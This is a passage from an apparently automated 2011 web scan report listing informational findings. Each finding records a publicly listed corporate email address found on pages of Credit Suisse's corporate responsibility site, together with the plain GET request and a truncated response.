Date: Mon, 19 Sep 2011 14:44:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.34. https://www.credit-suisse.com/responsibility/en/banking/unep.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/unep.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/unep.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29779

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.35. https://www.credit-suisse.com/responsibility/en/banking/what_is_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/what_is_microfinance.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/what_is_microfinance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32449

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.36. https://www.credit-suisse.com/responsibility/en/banking/wolfsberg.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/wolfsberg.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/banking/wolfsberg.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29098

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.37. https://www.credit-suisse.com/responsibility/en/climate_change.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/climate_change.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/climate_change.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:52:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32482

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.38. https://www.credit-suisse.com/responsibility/en/climate_protection.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/climate_protection.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/climate_protection.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:52:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29895

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.39. https://www.credit-suisse.com/responsibility/en/ecology.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/ecology.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/ecology.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30456

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.40. https://www.credit-suisse.com/responsibility/en/employer/business_school_assessing_impact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_assessing_impact.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_assessing_impact.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.41. https://www.credit-suisse.com/responsibility/en/employer/business_school_experience_sharing.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_experience_sharing.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_experience_sharing.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30777

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.42. https://www.credit-suisse.com/responsibility/en/employer/business_school_learning_technologies.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_learning_technologies.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_learning_technologies.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32092

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.43. https://www.credit-suisse.com/responsibility/en/employer/business_school_new.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_new.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_new.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32048

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.44. https://www.credit-suisse.com/responsibility/en/employer/business_school_quality.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_quality.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_quality.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30215

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.45. https://www.credit-suisse.com/responsibility/en/employer/business_school_succession.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_succession.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/business_school_succession.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.46. https://www.credit-suisse.com/responsibility/en/employer/development.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/development.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/development.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30770

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.47. https://www.credit-suisse.com/responsibility/en/employer/diversity.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/diversity.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/diversity.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.48. https://www.credit-suisse.com/responsibility/en/employer/gdi_strategy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/gdi_strategy.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/gdi_strategy.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30382

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.49. https://www.credit-suisse.com/responsibility/en/employer/graduates.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/graduates.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/graduates.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.50. https://www.credit-suisse.com/responsibility/en/employer/health_social_care.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/health_social_care.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/health_social_care.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.51. https://www.credit-suisse.com/responsibility/en/employer/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.52. https://www.credit-suisse.com/responsibility/en/employer/networks.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/networks.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/networks.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.53. https://www.credit-suisse.com/responsibility/en/employer/partners_awards.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/partners_awards.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/partners_awards.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35282

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.54. https://www.credit-suisse.com/responsibility/en/employer/pkom.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/pkom.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/pkom.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29692

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.55. https://www.credit-suisse.com/responsibility/en/employer/workplace.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/workplace.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/employer/workplace.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.56. https://www.credit-suisse.com/responsibility/en/environment.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/environment.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/environment.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.57. https://www.credit-suisse.com/responsibility/en/environmental_management.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/environmental_management.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/environmental_management.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.58. https://www.credit-suisse.com/responsibility/en/gri_index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/gri_index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/gri_index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 71095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.59. https://www.credit-suisse.com/responsibility/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.60. https://www.credit-suisse.com/responsibility/en/initiatives/climate/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/climate/index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/climate/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20911

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.61. https://www.credit-suisse.com/responsibility/en/initiatives/education_initiative/initiatives_education.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/education_initiative/initiatives_education.jsp

Issue detail

The following email address was disclosed in the response:

emea.philanthropy@credit-suisse.com

Request

GET /responsibility/en/initiatives/education_initiative/initiatives_education.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19265

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:emea.philanthropy@credit-suisse.com">
...[SNIP]...

14.62. https://www.credit-suisse.com/responsibility/en/initiatives/employee_engagement.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/employee_engagement.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/employee_engagement.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28709

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.63. https://www.credit-suisse.com/responsibility/en/initiatives/gcp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/gcp.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/gcp.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31058

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.64. https://www.credit-suisse.com/responsibility/en/initiatives/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
